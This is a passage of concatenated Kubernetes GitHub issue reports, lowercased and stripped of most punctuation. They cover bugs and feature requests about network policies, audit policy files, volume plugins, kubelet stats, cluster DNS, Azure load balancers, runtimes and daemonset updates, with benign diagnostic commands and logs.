nginx  10.254.24.218:80 \r    \r \r while the above  wget  in busybox container should be failed as it does not have the ingress rules requested labels.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r    \r root@k8s001:~/cases/network-policy  cat /etc/ release\r distrib_id=ubuntu\r distrib_release=16.04\r distrib_codename=xenial\r distrib_description=\ ubuntu 16.04 lts\ \r name=\ ubuntu\ \r version=\ 16.04 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r root@k8s001:~/cases/network-policy  uname -a\r linux k8s001 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r the  1.7 audit policy file format  https://github.com/kubernetes/website/blob/release-1.7/docs/tasks/debug-application-cluster/audit.md audit-policy  is different than the  1.8 format  https://github.com/kubernetes/website/blob/release-1.8/docs/tasks/debug-application-cluster/audit.md audit-policy .  the 1.8 docs say specifically that:\r    \r in kubernetes 1.8 kind and apiversion along with rules must be provided in the audit policy file. a policy file with 0 rules, or a policy file that doesn't provide a valid apiversion and kind value will be treated as illegal.\r    \r it appears that the 1.7 format is still being accepted.\r \r for example, here is 1 .7 audit policy file that 1.8 appears to accept:\r    \r       log all requests at the metadata level.\r     rules:\r     - level: metadata\r    \r with this policy file in place, i see metadata level audit logs emitted to my configured path.\r i can't tell if the file is in fact being treated as illegal per the docs and just defaulting to json logging at the metadata level at the configured path, or if it's actually accepting it  i assume the latter.\r \r   what you expected to happen  :\r per the 1.8 docs, the config file should be treated as illegal and i should be notified of such.\r \r   how to reproduce it  as minimally and precisely as possible   :\r star a 1.8 apiserver with the following  --audit-policy-file :\r    \r       log all requests at the metadata level.\r     rules:\r     - level: metadata\r    \r configure an  --audit-log-path  as well.  start apiserver and watch the metadata level json audit logs hit the logfile.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration  : baremetal\r - os  e.g. from /etc/os-release : hyperkube\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r @kubernetes/sig-instrumentation-bugs\r

is this a bug report or feature request?:  \r  \r   what happened:  \r suppose already created a pod with iscsi pvc, when kubelet down, pod is evicted and rescheduled to another node, while the old pod is still serving traffic and still writing the volume, how could we prevent this situation? is there anyway to disable iscsi volume multi-attach like cinder?\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r   \r   what happened  :\r \r currently we use  -image-  as a separator to generate global mount path for ceph rbd volume plugin, see  here  https://github.com/kubernetes/kubernetes/blob/4989087fbf93eae09acd6dbea8761a5a149fabe0/pkg/volume/rbd/rbd_util.go l115 . as @rootfs mentioned in this pr  57823 , the  constructvolumespec  operation will not work if either pool or image name has  -image- , because it also uses  -image-  as a separator to get pool name and image name, see this  code  https://github.com/kubernetes/kubernetes/blob/4989087fbf93eae09acd6dbea8761a5a149fabe0/pkg/volume/rbd/rbd.go l358 .\r \r \r   anything else we need to know?  :\r \r change the global mount path from  /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/{pool}-image-{image}  to  /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/pool/image/  can solve this corner case, but result in inconsistency with other volume plugins. this inconsistency may affect kubelet's  reconstructvolume  operation:\r \r as mentioned in this issue  52683 , to make sure all mount points can be cleaned up, we need to find all existing global mount path under  /var/lib/kubelet/plugins   when kubelet restarts, this depends on a consistent directory structure for all volume plugins, currently is  /{kubeletrootdir}/plugins/{volumepluginname}/mounts/{volumerelatedinformation} ,  {volumepluginname}  is a two-level directory such as  kubernetes.io/rbd   and  {volumerelatedinformation}  is a one-level directory such as  {pool}-image-{image}  , so the whole relative mount path is  plugins/{volumepluginname}/mounts/{volumerelatedinformation} , which is a five-level directory. kubelet can assume this is consistent for all volume plugins, and find all global mount path by this.\r \r if we change the  {volumerelatedinformation}  from  {pool}-image-{image}  to  {pool}/{image} , the whole relative mount path will be a six-level directory for rbd volume plugin while other volume plugins are still five-level directory. this may lead to kubelet's  reconstructvolume  operation not work for rbd plugin.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

running  curl -k -v -xget -h \ accept: application/json,  / \  -h 'user-agent: cluster-autoscaler/v0.0.0  linux/amd64  kubernetes/$format' 'http://127.0.0.1:8080/api/v1/pods?fieldselector=spec.nodename%21%3d%2cstatus.phase%21%3dfailed%2cstatus.phase%21%3dsucceeded&limit=500&resourceversion=0'  on master node in 1.9 cluster results in listing all pods that are assigned to some node.\r \r the same on cluster running k8s version from head:\r    \r     trying 127.0.0.1...\r   tcp_nodelay set\r   connected to 127.0.0.1  127.0.0.1  port 8080   0 \r > get /api/v1/pods?fieldselector=spec.nodename%21%3d%2cstatus.phase%21%3dfailed%2cstatus.phase%21%3dsucceeded&limit=500&resourceversion=0 http/1.1\r > host: 127.0.0.1:8080\r > accept: application/json,  / \r > user-agent: cluster-autoscaler/v0.0.0  linux/amd64  kubernetes/$format\r > \r < http/1.1 200 ok\r < audit-id: 54b8afbe-dbd1-4608-b6f7-1375d73532ce\r < content-type: application/json\r < date: thu, 01 mar 2018 15:59:31 gmt\r < content-length: 113\r < \r {\ kind\ :\ podlist\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ selflink\ :\ /api/v1/pods\ ,\ resourceversion\ :\ 95581\ },\ items\ :  }\r   connection  0 to host 127.0.0.1 left intact\r    \r \r removing the part of selector with  spec.nodename  results in listing all current pods, regardless of whether they're scheduled. \r \r this looks like a regression from 1.9  and also breaks cluster autoscaler, which relies on selecting scheduled pods based on non-empty field.  interestingly, it seems that the watch part still works  there are updates for scheduled pods that have been modified. \r \r cc @wojtek-t @mwielgus\r \r  edited to fix command

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r kubernetes cluster will not run\r \r   what you expected to happen  :\r \r cluster runs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r  root@ipa-rhel7-local-01 kubernetes   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  root@ipa-rhel7-local-01 kubernetes  \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r \r  root@ipa-rhel7-local-01 kubernetes   uname -r\r 3.10.0-862.9.1.el7.x86_64\r  root@ipa-rhel7-local-01 kubernetes   more /etc/redhat-release \r red hat enterprise linux server release 7.5  maipo \r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r =====\r  root@ipa-rhel7-local-01 kubernetes   !291\r kubectl get nodes\r name                               status     roles     age       version\r ipa-rhel7-local-01.ods.vuw.ac.nz   notready   master    2h        v1.11.1\r ipa-rhel7-local-02.ods.vuw.ac.nz   notready   <none>    1h        v1.11.1\r ipa-rhel7-local-03.ods.vuw.ac.nz   notready   <none>    1h        v1.11.1\r  root@ipa-rhel7-local-01 kubernetes   \r =====\r \r from /var/log/messages,\r \r =====\r aug  7 11:37:00 ipa-rhel7-local-01 kubelet: e0807 11:37:00.015507    3110 summary.go:102  failed to get system container stats for \ /system.slice/kubelet.service\ : failed to get cgroup stats for \ /system.slice/kubelet.service\ : failed to get container info for \ /system.slice/kubelet.service\ : unknown container \ /system.slice/kubelet.service\ \r aug  7 11:37:01 ipa-rhel7-local-01 kubelet: w0807 11:37:01.555877    3110 cni.go:172  unable to update cni config: no networks found in /etc/cni/net.d\r aug  7 11:37:01 ipa-rhel7-local-01 kubelet: e0807 11:37:01.555987    3110 kubelet.go:2110  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r =====\r \r systemctl status,\r \r =====\r  root@ipa-rhel7-local-01 kubernetes   !299\r systemctl status kubelet\r ● kubelet.service - kubelet: the kubernetes node agent\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: disabled \r   drop-in: /etc/systemd/system/kubelet.service.d\r            └─10-kubeadm.conf\r    active: active  running  since tue 2018-08-07 08:59:07 nzst; 2h 49min ago\r      docs: http://kubernetes.io/docs/\r  main pid: 3110  kubelet \r    cgroup: /system.slice/kubelet.service\r            └─3110 /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --config=/var/lib/kubelet/config.y...\r \r aug 07 11:48:26 ipa-rhel7-local-01.ods.vuw.ac.nz kubelet 3110 : w0807 11:48:26.985344    3110 cni.go:172  unable to update cni config: no networks found in /etc/cni/net.d\r aug 07 11:48:26 ipa-rhel7-local-01.ods.vuw.ac.nz kubelet 3110 : e0807 11:48:26.985444    3110 kubelet.go:2110  container runtime network not ready: networkready=fal...itialized\r aug 07 11:48:31 ipa-rhel7-local-01.ods.vuw.ac.nz kubelet 3110 : e0807 11:48:31.029774    3110 summary.go:102  failed to get system container stats for \ /system.slice/kubelet...\r aug 07 11:48:31 ipa-rhel7-local-01.ods.vuw.ac.nz kubelet 3110 : w0807 11:48:31.986490    3110 cni.go:172  unable to update cni config: no networks found in /etc/cni/net.d\r aug 07 11:48:31 ipa-rhel7-local-01.ods.vuw.ac.nz kubelet 3110 : e0807 11:48:31.986584    3110 kubelet.go:2110  container runtime network not ready: networkready=fal...itialized\r aug 07 11:48:36 ipa-rhel7-local-01.ods.vuw.ac.nz kubelet 3110 : w0807 11:48:36.987964    3110 cni.go:172  unable to update cni config: no networks found in /etc/cni/net.d\r aug 07 11:48:36 ipa-rhel7-local-01.ods.vuw.ac.nz kubelet 3110 : e0807 11:48:36.988061    3110 kubelet.go:2110  container runtime network not ready: networkready=fal...itialized\r aug 07 11:48:41 ipa-rhel7-local-01.ods.vuw.ac.nz kubelet 3110 : e0807 11:48:41.044534    3110 summary.go:102  failed to get system container stats for \ /system.slice/kubelet...\r aug 07 11:48:41 ipa-rhel7-local-01.ods.vuw.ac.nz kubelet 3110 : w0807 11:48:41.989379    3110 cni.go:172  unable to update cni config: no networks found in /etc/cni/net.d\r aug 07 11:48:41 ipa-rhel7-local-01.ods.vuw.ac.nz kubelet 3110 : e0807 11:48:41.989475    3110 kubelet.go:2110  container runtime network not ready: networkready=fal...itialized\r hint: some lines were ellipsized, use -l to show in full.\r  root@ipa-rhel7-local-01 kubernetes   \r ======\r \r need documentation &help please.

hi, i have created an eks cluster and configured nodes for my cluster. both my cluster and nodes are communicating. i'm trying to create a simple pod of my application and i'm getting the below error. \r \r kubelet does not have clusterdns ip configured and cannot create pod using \ clusterfirst\  policy. falling back to \ default\  policy.\r back-off restarting failed container\r \r below is my deployment.yaml\r \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: analytics-server\r spec:\r   replicas: 2\r   template:\r     metadata:\r       labels:\r         app: analytics-server\r     spec:\r       containers:\r       - name: analytics-server\r         image: imagename\r         volumemounts:\r         - name: hostvol\r           mountpath: /opt/path-name\r       volumes:\r       - name: hostvol\r         hostpath:\r           path: /users/path-name\r \r \r description of a pod:\r \r name:         analytics-server\r namespace:    default\r node:         ip-10-0-14-124.ec2.internal/10.0.9.68\r start time:   tue, 28 aug 2018 16:09:58 +0530\r labels:       <none>\r annotations:  <none>\r status:       running\r ip:           10.0.10.80\r containers:\r   analytics-server:\r     container id:   docker://2d0f0cf43aff1a0d85252a36dbf09f6bebd15fffa6d0bafe3f5d21\r     image:          imagename\r     image id:       docker-pullable://imagename@sha256:ebcc695cb0b0ca8945153c88f9c10d361384a5d66234a6f902d3b29\r     port:           <none>\r     host port:      <none>\r     state:          waiting\r       reason:       crashloopbackoff\r     last state:     terminated\r       reason:       error\r       exit code:    1\r       started:      tue, 28 aug 2018 16:31:10 +0530\r       finished:     tue, 28 aug 2018 16:31:10 +0530\r     ready:          false\r     restart count:  9\r     environment:    <none>\r     mounts:\r       /opt/path-name from hostvol  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-d6xhh  ro \r conditions:\r   type           status\r   initialized    true\r   ready          false\r   podscheduled   true\r volumes:\r   hostvol:\r     type:          hostpath  bare host directory volume \r     path:          /users/path-name\r     hostpathtype:\r   default-token-d6xhh:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-d6xhh\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason                 age                 from                                  message\r   ----     ------                 ----                ----                                  -------\r   normal   scheduled              23m                 default-scheduler                     successfully assigned analytics-server to ip-10-0-14-124.ec2.internal\r   normal   successfulmountvolume  23m                 kubelet, ip-10-0-14-124.ec2.internal  mountvolume.setup succeeded for volume \ hostvol\ \r   normal   successfulmountvolume  23m                 kubelet, ip-10-0-14-124.ec2.internal  mountvolume.setup succeeded for volume \ default-token-d6xhh\ \r   normal   pulled                 23m  x3 over 23m    kubelet, ip-10-0-14-124.ec2.internal  container image \ imagename\  already present on machine\r   normal   created                23m  x3 over 23m    kubelet, ip-10-0-14-124.ec2.internal  created container\r   normal   started                23m  x3 over 23m    kubelet, ip-10-0-14-124.ec2.internal  started container\r   warning  backoff                8m  x68 over 23m    kubelet, ip-10-0-14-124.ec2.internal  back-off restarting failed container\r   warning  missingclusterdns      3m  x102 over 23m   kubelet, ip-10-0-14-124.ec2.internal  pod: \ analytics-server_default b59bca0b-aaae-11e8-865d-12d947fdab32 \ . kubelet does not have clusterdns ip configured and cannot create pod using \ clusterfirst\  policy. falling back to \ default\  policy.

  \r we stopped pushing the legacy amd64 workaround  ref https://github.com/kubernetes/kubernetes/pull/44910 discussion_r121637373 and https://github.com/kubernetes/kubernetes/pull/44910/commits/19ca6ca9f2cbb0056766e46a6a0c69c40d990287 diff-4e7d90a055e3d5d5176b4d72daa9a0d4l90 , which means every new image in gcr comes with a  -${arch}  suffix: https://github.com/kubernetes/kubernetes/blob/9eebfe7a04e59668adf31bafbaa38db56527dda8/test/images/image-util.sh l124-l126\r however  at least some   tests  https://github.com/kubernetes/kubernetes/blob/9eebfe7a04e59668adf31bafbaa38db56527dda8/test/utils/image/manifest.go l193-l197  are still using image names with no  -${arch}  suffix, e.g. https://github.com/kubernetes/kubernetes/pull/74763:\r    \r i0301 17:55:49.396  e0301 17:54:57.361864   11948 webhook.go:350  >>>>> image being used: gcr.io/kubernetes-e2e-test-images/webhook:1.14v1\r    \r i ended up manually pushing the amd64 workaround to make change for e2e tests.\r \r not sure the scope of tests affected. can start with updating the  image retrieve method  https://github.com/kubernetes/kubernetes/blob/9eebfe7a04e59668adf31bafbaa38db56527dda8/test/utils/image/manifest.go l254-l262  to use amd64 arch and making sure the arch-specific images have been pushed

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r controller-manager is stuck in deleting an incorrectly configured lb type service. it cannot be recovered until restarted.\r \r   what you expected to happen  :\r controller-manager should recover. at least it should allow us to create the service without restarting it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    yaml\r kind: service\r apiversion: v1\r metadata:\r   name: nginx-ingress\r   annotations:\r     service.beta.kubernetes.io/azure-load-balancer-resource-group: \ foobar\ \r spec:\r   type: loadbalancer\r   loadbalancerip: \ 51.145.136.123\ \r   ports:\r     - name: http\r       port: 80\r       targetport: http\r     - name: https\r       port: 443\r       targetport: https\r   selector:\r     app: nginx-ingress\r    \r put a random ip in above yaml and make sure the resource group doen't exist.\r \r    \r kubectl apply -f svc.yaml\r kubectl delete -f svc.yaml\r \r kubectl get svc,event\r \r name                    type           cluster-ip    external-ip   port s                       age\r service/kubernetes      clusterip      10.0.0.1      <none>        443/tcp                      10d\r service/nginx-ingress   loadbalancer   10.0.147.35   <pending>     80:32005/tcp,443:31028/tcp   14m\r \r last seen   type      reason                       kind      message\r 16m         normal    ensuringloadbalancer         service   ensuring load balancer\r 16m         warning   creatingloadbalancerfailed   service   error creating load balancer  will retry : failed to ensure load balancer for service default/nginx-ingress: network.publicipaddres\r sesclient list: failure responding to request: statuscode=403 -- original error: autorest/azure: service returned an error. status=403 code=\ authorizationfailed\  message=\ the client '<redacted>' with object id '<redacted>' does not have authorization to perform action 'microsoft.network/publicipaddresses/read' over scope '/subscri\r ptions/<redacted>/resourcegroups/foobar/providers/microsoft.network'.\ \r 3m40s       normal    deletingloadbalancer         service   deleting load balancer\r 3m40s       warning   deletingloadbalancerfailed   service   error deleting load balancer  will retry : network.publicipaddressesclient list: failure responding to request: statuscode=403 -- o\r riginal error: autorest/azure: service returned an error. status=403 code=\ authorizationfailed\  message=\ the client '<redacted>' with object id '<redacted>' does not have authorization to perform action 'microsoft.network/publicipaddresses/read' over scope '/subscriptions/<redacted>/resourcegroups/foobar/\r providers/microsoft.network'.\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.4\r - cloud provider or hardware configuration: aks\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

when running  make test_e2e_node  on systemd, i get a single failure related to a test that verifies the stats endpoint.       ------------------------------ • failure  60.090 seconds  kubelet /home/decarr/go/src/k8s.io/kubernetes/test/e2e_node/kubelet_test.go:267   metrics api   /home/decarr/go/src/k8s.io/kubernetes/test/e2e_node/kubelet_test.go:266     when querying /stats/summary     /home/decarr/go/src/k8s.io/kubernetes/test/e2e_node/kubelet_test.go:258       it should report resource usage through the stats api  it        /home/decarr/go/src/k8s.io/kubernetes/test/e2e_node/kubelet_test.go:257        expected           <  stats.containerstats | len:2, cap:4>:        the root is this line: https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/kubelet_test.go l223  on systemd, i am getting back 2 containers where 1 is expected from my stats endpoint.  for example, if i run a pod with a single nginx container i get the following summary:      $ curl http://127.0.0.1:10255/stats/summary {   \ node\ : {    \ nodename\ : \ 127.0.0.1\ ,    \ systemcontainers\ :       {      \ name\ : \ kubelet\ ,      \ starttime\ : \ 2016-03-07t14:17:36z\ ,      \ cpu\ : {       \ time\ : \ 2016-03-07t17:55:11z\ ,       \ usagenanocores\ : 221608525,       \ usagecorenanoseconds\ : 7174601461254      },      \ memory\ : {       \ time\ : \ 2016-03-07t17:55:11z\ ,       \ usagebytes\ : 8132644864,       \ workingsetbytes\ : 5518856192,       \ pagefaults\ : 63072461,       \ majorpagefaults\ : 10940      },      \ rootfs\ : {       \ availablebytes\ : 18328821760,       \ capacitybytes\ : 52710469632      },      \ logs\ : {       \ availablebytes\ : 18328821760,       \ capacitybytes\ : 52710469632      },      \ userdefinedmetrics\ : null     },     {      \ name\ : \ runtime\ ,      \ starttime\ : \ 2016-03-07t17:55:16z\ ,      \ cpu\ : {       \ time\ : \ 2016-03-07t17:55:00z\ ,       \ usagenanocores\ : 17139366,       \ usagecorenanoseconds\ : 213037971066      },      \ memory\ : {       \ time\ : \ 2016-03-07t17:55:00z\ ,       \ usagebytes\ : 31969280,       \ workingsetbytes\ : 25382912,       \ pagefaults\ : 9133069,       \ majorpagefaults\ : 14      },      \ rootfs\ : {       \ availablebytes\ : 18328821760,       \ capacitybytes\ : 52710469632      },      \ logs\ : {       \ availablebytes\ : 18328821760,       \ capacitybytes\ : 52710469632      },      \ userdefinedmetrics\ : null     }     ,    \ starttime\ : \ 2016-03-07t14:17:36z\ ,    \ cpu\ : {     \ time\ : \ 2016-03-07t17:55:11z\ ,     \ usagenanocores\ : 221608525,     \ usagecorenanoseconds\ : 7174601461254    },    \ memory\ : {     \ time\ : \ 2016-03-07t17:55:11z\ ,     \ usagebytes\ : 8132644864,     \ workingsetbytes\ : 5518856192,     \ pagefaults\ : 63072461,     \ majorpagefaults\ : 10940    },    \ fs\ : {     \ availablebytes\ : 18328821760,     \ capacitybytes\ : 52710469632,     \ usedbytes\ : 31680516096    }   },   \ pods\ :      {     \ podref\ : {      \ name\ : \ nginx-2040093540-7uo6d\ ,      \ namespace\ : \ default\ ,      \ uid\ : \ a514f7cf-e48d-11e5-bd2c-28d2444e470d\      },     \ starttime\ : \ 2016-03-07t17:55:02z\ ,     \ containers\ :        {       \ name\ : \ nginx\ ,       \ starttime\ : \ 2016-03-07t17:55:04z\ ,       \ cpu\ : {        \ time\ : \ 2016-03-07t17:55:04z\ ,        \ usagecorenanoseconds\ : 21626484       },       \ memory\ : {        \ time\ : \ 2016-03-07t17:55:04z\ ,        \ usagebytes\ : 8437760,        \ workingsetbytes\ : 2482176,        \ pagefaults\ : 883,        \ majorpagefaults\ : 48       },       \ rootfs\ : {        \ availablebytes\ : 18328821760,        \ capacitybytes\ : 52710469632       },       \ logs\ : {        \ availablebytes\ : 18328821760,        \ capacitybytes\ : 52710469632       },       \ userdefinedmetrics\ : null      },      {       \ name\ : \ nginx\ ,       \ starttime\ : \ 2016-03-07t17:55:04z\ ,       \ cpu\ : {        \ time\ : \ 2016-03-07t17:55:04z\ ,        \ usagecorenanoseconds\ : 0       },       \ memory\ : {        \ time\ : \ 2016-03-07t17:55:04z\ ,        \ usagebytes\ : 0,        \ workingsetbytes\ : 0,        \ pagefaults\ : 0,        \ majorpagefaults\ : 0       },       \ rootfs\ : {        \ availablebytes\ : 18328821760,        \ capacitybytes\ : 52710469632       },       \ logs\ : {        \ availablebytes\ : 18328821760,        \ capacitybytes\ : 52710469632       },       \ userdefinedmetrics\ : null      }      ,     \ network\ : {      \ time\ : \ 2016-03-07t17:55:03z\ ,      \ rxbytes\ : 90,      \ rxerrors\ : 0,      \ txbytes\ : 168,      \ txerrors\ : 0     }    }      }      i debugged the issue down to here: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/server/stats/summary.go l202  after adding more trace to this code block, i saw that nginx was being found twice for duplicate keys in the for loop.  the first time:      i0307 12:55:16.210107    1856 summary.go:189  stats buildsummarypods - key /system.slice/docker-37515a45e527fd66a5ab125f689d0113e2ded24bba6b25453d3d78f66fb1f932.scope i0307 12:55:16.210115    1856 summary.go:196  stats buildsummarypods - ref {nginx-2040093540-7uo6d default a514f7cf-e48d-11e5-bd2c-28d2444e470d}      that makes sense because that is the cgroup for the container as reported by docker.  the second time it appeared in the same for loop was for the key:      i0307 12:55:16.210413    1856 summary.go:189  stats buildsummarypods - key /system.slice/var-lib-docker-devicemapper-mnt-37515a45e527fd66a5ab125f689d0113e2ded24bba6b25453d3d78f66fb1f932.mount i0307 12:55:16.210416    1856 summary.go:196  stats buildsummarypods - ref {nginx-2040093540-7uo6d default a514f7cf-e48d-11e5-bd2c-28d2444e470d} i0307 12:55:16.210420    1856 summary.go:205  stats buildsummarypods - podstats &{{nginx-2040093540-7uo6d default a514f7cf-e48d-11e5-bd2c-28d2444e470d} 2016-03-07 17:55:02.669481834 +0000 utc  {nginx 2016-03-07 17:55:04.121735851 +0000 utc 0xc820e70030 0xc820826100 0xc8208ab7a0 0xc8208ab760   }  0xc8208261c0   } i0307 12:55:16.210429    1856 summary.go:209  stats containername nginx      it appears that we are treating the following as a different container in the pod summary:      /system.slice/var-lib-docker-devicemapper-mnt-37515a45e527fd66a5ab125f689d0113e2ded24bba6b25453d3d78f66fb1f932.mount      looking on the file system, i see:      cat /sys/fs/cgroup/cpu/system.slice/var-lib-docker-devicemapper-mnt-37515a45e527fd66a5ab125f689d0113e2ded24bba6b25453d3d78f66fb1f932.mount/      still investigating this some more, but looks like we are getting tripped up in cadvisor by this...  /cc @vishh @dchen1107 @ncdc @sjenning

motivation    it's worth to enable running of \ mixed\  workloads  containers/vms/containers inside vms  using multiple kubelet runtime providers at the same node. especially taking into consideration adding more runtimes not only for containers in near future: hypercontainer, oci/runc, kvm/qemu, libvirt.      key functionality to implement:   -   add ability to set multiple runtimes for kubelet:         it is said in container server-client runtime proposal that there will be transition period    during which old and new implementation will be available:   1.  local implemetation      flag --container-runtimeshould support setting comma-separated list of runtime names   2.  grpc implementation      a new flag --container-runtime-endpoint  overrides --container-runtime  which will identify the unix socket file of the remote runtime service should support setting comma-separated list of unix sockets -   change kubelet:     1. local implemetation      create runtime interface for every specified runtime in flag and initialize map \ runtime_name\ =>kubecontainer.runtime  of runtimes in kubelet structure   2. grpc implementation      support map \ runtime_name\ =>kubeletruntimeclient  of available/health runtimes -   kubelet needs to pass to api-server the list of available container runtimes on node.     this can be achieved by changing field containerruntimeversion in nodesysteminfo    to be array of kubeletruntimes with items of type kubeletruntime in node status message from    kubelet:       kubeletruntimes:           {             type: \ docker\ ,             version: \ 1.11.0\          },         {             type: \ rkt\ ,             version: \ 1.10.1\          }       -   setting the kubelet runtime for pod is specified in annotation  docker by default :        an example      kind: pod     apiversion: v1     metadata:         name: pod-abc            labels:             foo: bar         annotations:            kubelet-runtime: docker     -   add new policy for scheduler to pick up node accordingly to node annotation settings    related to  28789 cc @thockin @freehan @brendandburns @dchen1107 @kubernetes/sig-node

kubelet currently  relies on cadvisor  https://github.com/kubernetes/kubernetes/blob/12c248315f8191396574085591e1d749ab0fe670/pkg/kubelet/cadvisor/cadvisor_linux.go l189  to get the imagefs info for supported runtimes, i.e., docker and rkt. without this information, the disk manager would not function properly and kubelet will fail to start.  to get the image filesystem information, the following items are needed: 1. get path from the runtime, i.e., need to add a new call  info    to  imageservice  in cri.  2. plumb this information to cadvisor and use it to get  imagefs  info.  /cc @timstclair @dchen1107 @kubernetes/sig-node

kubernetes version    use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-beta.3+coreos.0\ , gitcommit:\ 7013c674183a8b4ee3b3dd846f108e3a5575f4af\ , gittreestate:\ clean\ , builddate:\ 2017-03-13t19:57:10z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-beta.3+coreos.0\ , gitcommit:\ 7013c674183a8b4ee3b3dd846f108e3a5575f4af\ , gittreestate:\ clean\ , builddate:\ 2017-03-13t19:57:10z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : digitalocean\r -   os    e.g. from /etc/os-release : \r    \r cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r -   kernel    e.g.  uname -a  :\r    \r uname -a\r linux k8s-master-fra10-01 4.4.0-64-generic  85-ubuntu smp mon feb 20 11:50:30 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r -   install tools  :\r    \r cargo\r    \r -   others  :\r \r \r   what happened  :\r when i do:\r    \r kubectl apply -f deployment.yaml\r    \r it will run rolling update only if there is a change. in case i do:\r    \r kubectl apply -f daemonset.yaml\r    \r each time i run it - it will execute rolling update, which is misleading. \r \r   what you expected to happen  :\r i would like to have consistent behavior for deployment and daemonset \r \r   how to reproduce it    as minimally and precisely as possible :\r create any daemonset with following:\r    \r piversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: bind\r spec:\r   updatestrategy:\r     type: rollingupdate\r     rollingupdate:\r       maxunavailable: 10%\r   template:\r     metadata:\r       labels:\r         service: bind\r         commit: e311f982eb769835ca75d942bd2fd0d9890776fb\r     spec:\r       nodeselector:\r           nodetype: \ hss\ \r       affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r             - labelselector:\r                 matchexpressions:\r                 - key: \ service\ \r                   operator: \ in\ \r                   values:  \ bind\  \r               topologykey: \ 